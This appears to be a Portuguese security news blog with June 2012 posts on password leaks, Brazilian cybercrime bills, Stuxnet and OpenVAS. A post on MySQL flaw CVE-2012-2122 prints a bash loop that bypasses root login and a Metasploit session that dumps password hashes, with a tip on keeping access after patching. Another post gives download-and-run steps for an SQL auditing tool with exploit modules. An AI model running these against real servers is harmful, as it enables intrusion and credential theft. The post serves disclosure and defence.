segunda-feira, 11 de junho de 2012

Linked.in, Last.fm e eHarmony afetados por vazamento de senhas


Na última semana, três sites tiveram as senhas de seus usuários expostas por um usuário malicioso, aparentemente de origem russa. Só a rede social Linked.in teve 6,5 milhões de contas comprometidas (mais informações); o Last.fm (uma rede social de música) e o eHarmony (site de encontros) tiveram também alguns milhões de senhas divulgadas.
As senhas foram divulgadas através do hash, mas isso apenas diminui e não anula o problema, uma vez que segundo o blog do Linked.in eles não usavam salting, uma técnica que ajuda a evitar a decriptação de hashes MD5/SHA1 através de Rainbow Tables. De qualquer maneira, o mais importante é – independentemente se você possuir contas nesses sites ou não – tomar medidas de segurança como não usar a mesma senha em todos os serviços. Naturalmente – se você tiver conta neles, mude a sua senha imediatamente.

Projeto de lei tipifica cibercrimes


No dia 15 de maio, foi aprovado o Projeto de Lei 2793/11, que inclui crimes cibernéticos no Código Penal. Dois Projetos de Lei tramitam na casa. O primeiro, PL 84/99, conhecido popularmente como Lei Azeredo, tramita desde 1999 e sempre foi criticado por ter uma redação ampla que poderia criminalizar condutas diárias na internet como, por exemplo, repassar um e-mail com vírus sem intenção de danificar outros computadores.
O Projeto 2793/11, aprovado no dia 15 pela Câmara dos Deputados, foi escrito como uma alternativa para o texto do PL 84/99. “A nosso ver, o PL 84/1999, em sua redação atual, traz propostas de criminalização demasiadamente abertas e desproporcionais, capazes de ensejar a tipificação criminal de condutas corriqueiras praticadas por grande parte da população na Internet”, diz o texto.
Relatado pelo deputado Eduardo Azeredo (PSDB-MG), o Projeto de Lei 84/99 criminaliza o acesso não autorizado a um sistema. Ou seja, torna crime “acessar, mediante violação de segurança, rede de computadores, dispositivo de comunicação ou sistema informatizado, protegidos por expressa restrição de acesso”. A pena proposta é de reclusão de um a três anos e multa.
O PL 2793 não torna crime a ação de invadir computadores alheios, apenas nos casos que resultarem em roubo e repasse ou comercialização de informações. Segundo os autores do texto, a intenção é punir “apenas quando a conduta do agente estiver relacionada a determinado resultado danoso […] excluindo-se assim, mais uma vez, os casos de mero acesso a informações”. Quanto à pena, equipara-se à de violação de segredo profissional: três meses a um ano de detenção e multa.
Segundo Leonardo Palhares, especialista em Direito Digital e diretor da Câmara e-net, o PL 2793/11 é mau feito e não abarca questões imprescindíveis. Palhares defende que o Projeto de Lei Azeredo é muito mais específico e eficaz e acredita que o texto foi aprovado às pressas “devido ao clamor de uma situação pontual que despertou a atenção de todos” – referindo-se ao caso do vazamento das fotos da atriz Carolina Dieckmann. E critica, “São penas muito reduzidas se pensar no tamanho do problema que pode ser gerado por essas ações”.
O PL 2793/11 também trata órgãos públicos com diferença: há aumento de pena caso o crime seja cometido contra o presidente da República, governadores, prefeitos e outros dirigentes do Estado.
Apesar da efetividade do Projeto de Lei 2793/11 ser questionável, podemos dizer que ter onde enquadrar um cibercriminoso já seria um começo.
Segundo o portal de Tecnologia da Folha, a especialista em direito digital Patricia Peck diz que o PL preenche uma lacuna na lei brasileira. “Ela é essencial, porque no direito penal não se pode fazer analogias. Até agora não tínhamos nenhum crime virtual definido.”
Ainda no portal da Folha, Peck diz que, se aprovada, a lei complementa o Marco Civil da Internet (PL 2.126/2011), atual bandeira de ativistas da liberdade na web. O Marco Civil, proposta do Ministério da Justiça que trata dos principais direitos e dos deveres de usuários na internet, foi aberto para consulta pública e recebeu, em 2010, mais de duas mil contribuições populares para o texto final. O texto do Marco ainda será avaliado pelos deputados.
Por que é tão difícil aprovar uma lei para o cibercrime?
“O desafio de combater o crime praticado na Internet se impõe a todos os países do mundo.”PL 84/99
O crime praticado na internet tem características particulares, diferentes das características do mundo físico, que dificultam muito seu julgamento. Uma dessas características é a extraterritorialidade; na internet não existem barreiras geográficas, não há o espaço de um país e o espaço de outro. “Se alguém invadiu o seu e-mail, você tem que buscar os logs que comprovem essa invasão. E onde estão esses logs? Se eles estiverem em um servidor na Indonésia, será necessário pedir ao governo de lá que obrigue o data center a fornecer essa informação. O processo é muito mais difícil”, exemplifica o especialista Rogerio Reis.
Outro aspecto característico do problema é a dificuldade de produção de evidências digitais que permitam às autoridades provar a autoria dos crimes. “O cara que conhece bem a tecnologia não vai ser identificado, é super difícil rastrear”, avalia o especialista em Segurança da Informação, Ivo Machado.
Além disso, é preciso tomar todos os cuidados para não suprimir os direitos dos cidadãos, garantindo, por exemplo, o acesso de todos à internet. “Não se deve admitir que legislações penais – infelizmente, um mal necessário em nossa sociedade – precedam o estabelecimento de direitos e garantias. A face repressiva do Estado não deve sobressair sobre seu papel como fiador máximo dos direitos do cidadão”, lembra o PL 2793/11.
O PL 84/99 pontua que, apesar das dificuldades na implementação de uma legislação para o cibercrime, a questão é de grande urgência. “Os dados privados dos cidadãos, como registros financeiros, de crédito, de saúde assim como os processos e autos judiciais estão progressivamente migrando para plataformas digitais em sistemas integrados na Internet. Acessos indevidos a tais sistemas têm o potencial de expor a vida privada de milhões de cidadãos”.
Para o Projeto virar Lei
É importante lembrar que o Projeto de Lei 2793/11 foi aprovado pela Câmara, mas ainda precisa ser aprovado pelo Senado sem alterações para seguir para sanção presidencial. Caso contrário, ele volta para apreciação dos deputados.

Foi publicada nova cartilha de segurança pelo Cert.Br no dia 06/06/2012


CERT.br – Centro de Estudos, Resposta e Tratamento de Incidentes de Segurança no Brasil – lançou na última segunda-feira uma nova versão da sua Cartilha de Segurança para Internet. Agora na versão 4.0, a cartilha traz conteúdos atualizados, com uma nova seção para redes sociais e celulares.

A Cartilha de Segurança para Internet é um livreto ilustrado que apresenta recomendações e dicas de como o usuário pode aumentar a sua segurança na Internet, mostrando os riscos que o usuário corre e os cuidados necessários. A cartilha é disponibilizada livremente (licença Creative Commons BY-NC-ND 3.0). Leia a cartilha no site cartilha.cert.br.



Acesse a cartilha:

Cartilha de Segurança para Internet

CVE-2012-2122: uma falha de segurança Tragicamente Comedica em MySQL


Uma falha de segurança recentemente corrigida ( CVE-2012-2122 ) no MySQL e servidores de banco de dados MariaDB foi introduzida na suposição de que a função memcmp () sempre retornar um valor dentro na faixa de -127 a 127. Em algumas plataformas e com certas otimizações habilitadas, esta rotina pode retornar valores fora deste intervalo, fazendo com que o código que compara um hash de senhas erradas. Uma vez que o protocolo de autenticação gera um hash diferente cada vez que esta comparação é feita, há uma chance de 1 em 256, que QUALQUER senha seja aceita para autenticação.

Em suma, se você tentar autenticar em um servidor MySQL afectados por esta falha, há uma chance de ele aceitar a sua senha mesmo que esteja errada. Abaixo segue uma linha em bash que irá fornecer acesso a um servidor MySQL afetada como a conta de usuário root, sem realmente saber a senha.

for i in `seq 1 1000`; do mysql-u root -password=bad -h 127.0.0.1 2> / dev / null; done;
mysql>


Exploração


Apesar de uma vasta gama de versões do MySQL e MariaDB vulnerável, somente em alguns sistemas operacionais são exploráveis. Tudo se resume a saber se o memcmp () retorna um valor fora da faixa de caracteres não assinados. Segundo Sergei, este não é normalmente o caso, e a rotina é normalmente compilada no servidor como uma função inline. A principal exceção é quando o GCC utiliza a SSE otimização. Joshua Drake , um pesquisador de segurança com Accuvant Labs, forneceu um exemplo de aplicativo que pode determinar se o seu sistema pode ser afetado. Na maioria dos sistemas, os resultados desta aplicação coincidi com o pacote MySQL fornecido pela distribuição, mas a única maneira para ter a certeza é realmente testá-lo.

Até agora, os seguintes sistemas foram confirmados como vulneráveis:
  • Ubuntu Linux 64 bits (10,04, 10,10, 11,04, 11,10, 12,04) (via muitos, incluindo @ michealc )
  • OpenSuSE 12,1 64 bits MySQL 5.5.23-log (via @ michealc )
  • Debian Unstable 64 bits 5.5.23-2 (via @ derickr )
  • Fedora (via hexed   e confirmado pela Red Hat)
  • Arch Linux (versão não especificada)

Comentários até agora indicam que as seguintes plataformas não estão vulneráveis:
  • Builds Oficiais do MySQL e MariaDB (incluindo o Windows)
  • Red Hat Enterprise Linux 4, 5 e 6 (confirmado pela Red Hat)
  • CentOS usando oficial RHEL rpms
  • Ubuntu Linux 32 bits (10,04, 11,10, 12,04, provavelmente todos)
  • Debian Linux 6.0.3 64 bits (versão 14,14 Distrib 5.5.18)
  • Debian Linux lenny 32 bits 5.0.51a-24 + lenny5 (via @ matthewbloch )
  • Debian Linux lenny 64 bits 5.0.51a-24 + lenny5 (via @ matthewbloch )
  • Debian Linux lenny 64 bits 5.1.51-1-log (via @ matthewbloch )
  • Debian aperto Linux de 64 bits 5.1.49-3-log (via @ matthewbloch )
  • Debian Linux aperto 32 bits 5.1.61-0 + squeeze1 (via @ matthewbloch )
  • Debian aperto Linux de 64 bits 5.1.61-0 + squeeze1 (via @ matthewbloch )
  • Gentoo 64 bits 5.1.62-r1 (via @ twit4c )
  • SuSE 9.3 i586 MySQL 4.1.10a (via @ twit4c )
  • OpenIndiana oi_151a4 5.1.37 (via @ TamberP )


A maioria dos fornecedores de Linux devem ter um patch em breve, se não já.


Advertências e Defesa


A primeira regra de segurança MySQL é não expor a rede em geral, em primeiro lugar. A maioria das distribuições Linux permite ao daemon do MySQL conexões para localhost, impedindo o acesso remoto para o serviço. Nos casos em que o acesso à rede devem ser fornecidos, o MySQL também oferece controles de acesso baseados em host. Há poucos casos de uso onde o daemon do MySQL deve ser intencionalmente expostos à rede mais ampla e sem qualquer controle de acesso baseado em host.

Se você é responsável por um servidor MySQL que está exposto à rede desnecessariamente, a melhor coisa a fazer é modificar o arquivo my.cnf, a fim de restringir o acesso ao sistema local. My.cnf pode ser aberto com o editor de sua escolha, procure a seção [mysqld] e mude (ou adicione uma nova linha para definir) o "bind-address" parâmetro para "127.0.0.1". Reinicie o serviço MySQL para aplicar essa configuração.


Se você estiver se aproximando esta questão a partir da perspectiva de um testador de penetração, este será um dos truques mais úteis do MySQL por algum tempo. Uma característica do Metasploit que você deve estar familiarizado é o módulo mysql_hashdump. Este módulo usa um nome conhecido e senha para acessar a tabela de usuário master de um servidor MySQL e armazená-lo em um arquivo. Isto pode ser facilmente quebrado usando uma ferramenta como o John the Ripper, fornecendo senhas em texto-claro que podem proporcionar um maior acesso.

Esta noite, Jonathan Cran (CTO de Pwnie Express e colaborador do Metasploit)  committed um módulo threaded brute-force que explora a falha de autenticação criando automaticamente um dump das senhas do banco de dados. Isso garante que mesmo se a vulnerabilidade for corrigida, você ainda deve ser capaz de acessar o banco de dados usando os hashes de senhas crackeadas. Uma rápida demonstração deste módulo é mostrado abaixo usando o GIT mais recente Metasploit Framework / snapshot SVN.


msfconsole
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf  auxiliary(mysql_authbypass_hashdump) > set USERNAME root
msf  auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1
msf  auxiliary(mysql_authbypass_hashdump) > run

[+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test
[*] 127.0.0.1:3306 Authentication bypass is 10% complete
[*] 127.0.0.1:3306 Authentication bypass is 20% complete
[*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts
[+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes...
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89
[*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Fonte:  https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql

domingo, 3 de junho de 2012

xSQL scanner: Ferramente avançada de auditoria de SQL

O xSQL Scanner é uma ferramenta avançada multi-plataforma de auditoria SQL que permite encontrar senhas fracas e vulnerabilidades sobre o MS-SQL, My-SQL e protocolos de PostgreSQL. Ele tem duas versões - uma em mono que funciona em Linux e outro que funciona em sistemas operacionais Windows.

Características do Scanner xSQL: 

  1. Opções de auditoria de vulnerabilidade
  2. Lançamento de exploits
  3. Exploit de senha em branco do MSSQL
  4. Módulo DoS MSSQL 7
  5. Teste de senhas fracas 
  6. Opção de wordlist
  7. Opção de UserList 
  8. SQL Portscanner
  9. Faixa de auditoria Endereço IP e mais ..
 Ele permite você parar a varredura de auditoria em curso e terminar mais tarde. Interface gráfica simples e fácil. Para sua versão atual - versão 1.6, a versão Mono não está disponível. No entanto, aqui estão as instruções que ajudarão você a baixar e executar Scanner xSQL em máquinas Linux:

get http://www.4shared.com/file/vb3jsT0h/xsqlscan-mono-124.html
tar-xzvf xsqlscan.tar.gz
cd xsqlscan
. / xsqlscanw

O programa irá verificar se você tem arquivos principais Mono. Se eles já estão instalados, o aplicativo será iniciado. Ou, responda "sim" para baixar as bibliotecas e arquivos principais mono.

Reinicie o aplicativo digitando:. / Xsqlscanw

 Baixar Scanner xSQL: xSQL Scanner 1.6 - xsqlscanner-1.6.zip - http://www.4shared.com/zip/4YrGt7hG/xsqlscanner-16.html

Fonte: http://www.pentestit.com/xsql-scanner-advanced-sql-audit-tool/

sexta-feira, 1 de junho de 2012

Obama ordenou aumento de ciberataques contra sistemas de usinas nucleares do Irã, diz jornal


O presidente dos Estados Unidos Barack Obama teria ordenado, já nos primeiros meses de mandato no cargo, que ataques “sofisticados” contra sistemas de computadores de usinas nucleares no Irã fossem intensificados, segundo reportagem do “New York Times” desta sexta (1º).
De acordo com participantes da ação, a decisão aumentou significativamente a primeira ação sustentada por armas cibernéticas do país. De acordo com o “New York Times”, Obama acelerou os ataques (iniciados na administração de George W. Bush), mesmo depois que o vírus, conhecido como Stuxnet, acidentalmente saiu das usinas nucleares iranianas e circulou na internet mundial.
O Stuxnet, desenvolvido em conjunto pelos Estados Unidos e Israel, foi descoberto por empresas de segurança logo após sua “fuga acidental” do Irã. O “New York Times” afirma que houve uma reunião logo após o ocorrido na Casa Branca, com a presença de Joe Biden, vice-presidente dos EUA, e o diretor da CIA (Agência Central de Inteligência) na época, Leon E. Panetta, na qual consideraram que o esforço “havia sido fatalmente comprometido”.
Obama teria perguntado “devemos desligar essa coisa?”, segundo membros da segurança nacional presentes na sala. Ao ser avisado que ainda não estava claro o quanto os iranianos sabiam sobre o código do vírus e que ele ainda estava “causando estragos”, Obama teria decidido continuar o ataque cibernético.
De acordo com o jornal americano, nas semanas seguintes, a usina nuclear iraniana de Natanz foi atacada com uma nova versão do vírus e mais uma vez depois também. Na última série de ataques, poucas semanas depois de o Stuxnet ser detectado no mundo, cerca de 1.000 a 5.000 centrífugas que enriquecem urânio foram paralisadas.
As informações foram obtidas pelo “New York Times” após 18 meses de entrevistas com ex-oficiais americanos, israelenses e europeus envolvidos na ação, além de outros especialistas.
O Irã inicialmente negou que suas usinas nucleares haviam sido atacadas por um vírus de computador, mas depois admitiram o fato. O país, após o ataque, criou uma unidade militar de ciberdefesa em 2011.
O governo dos Estados Unidos apenas recentemente admitiu desenvolver armas cibernéticas e nunca admitiu tê-las utilizado. 

Lançado o OpenVas 5

Se você estiver procurando uma alternativa para o Nessus, OpenVAS é. Porque ele é um fork do Nessus. 

OpenVAS (Open Vulnerability Assessment System) é um scanner de segurança de rede com ferramentas associadas, com um front-end gráfico. Ele era anteriormente chamado como GNessUs. OpenVAS é um fork da versão 2.2 do Nessus.

OpenVAS funciona com uma arquitetura cliente / servidor, composto de vários componentes:

OpenVAS-Server: A funcionalidade de scanner básica
OpenVas-Plugins: um conjunto de NVTs (teste de vulnerabilidade de rede)
OpenVAS-LibNASL e OpenVas de Bibliotecas: Necessário para a funcionalidade do servidor


A principal diferença entre Nessus e o OpenVas é que este implementa a OpenVAS Transfer Protocol (OTP) que substituiu a transferência NessusProtocol (NTP) para a comunicação entre terminais e aplicações cliente GUI. Tem suporte para Inglês, alemão, espanhol, francês, sueco, hebraico e croata. O principal componente é um servidor com um conjunto de testes de vulnerabilidade de rede (NVTs) para detectar problemas de segurança em sistemas remotos e aplicações.



A equipe de desenvolvimento do projeto OpenVAS anunciou o lançamento da versão 5 de seu sistema em código aberto de avaliação de vulnerabilidades. De acordo com seus desenvolvedores, essa atualização se foca em simplificar o uso das ferramenta de varredura e gerenciamento de vulnerabilidades, e traz 20 novos recursos, incluindo o "asset management" que acrescenta uma segunda visualização dos resultados da varredura. Isso permite que usuários revisem esses resultados para qualquer seleção de dispositivos IP em uma rede.

versão 5 do framework OpenVAS introduz suporte para configurações de usuários individuais, incluindo seus diferentes fuso horários, e possui relatórios delta, para que usuários possam analisar as diferenças entre dois resultados de varreduras. Acesso às informações SCAP (CPE, CVE) também foi acrescentado ao Security Information Database e pode ser atualizado através de um serviço de feed. Outras mudanças incluem a possibilidade de ordenar resultados por pontuação CVSS e suporte para usar um par de chaves SSH para autenticação. Os desenvolvedores também notaram que, até esse mês, existem mais de 25.000 Netwrok Vulnerability Tests (NVTs) disponíveis.
Uma lista completa de novos recursos podem ser encontrados no anúncio oficial de lançamento. O código-fonte e binários para o OpenVAS-5 estão disponíveis para download no site do projeto. O OpenVAS está licenciado sob a GPLv2 ou posterior, e é patrocinada pela empresa de TI alemã Greenbone Networks e o Escritório Federal de Segurança da Informação da Alemanha (BSI).



Fonte: http://www.pentestit.com/openvas-open-vulnerability-assessment-system/ e http://lnm.com.br/noticia/versaeo_5_do_openvas_ja_esta_disponivel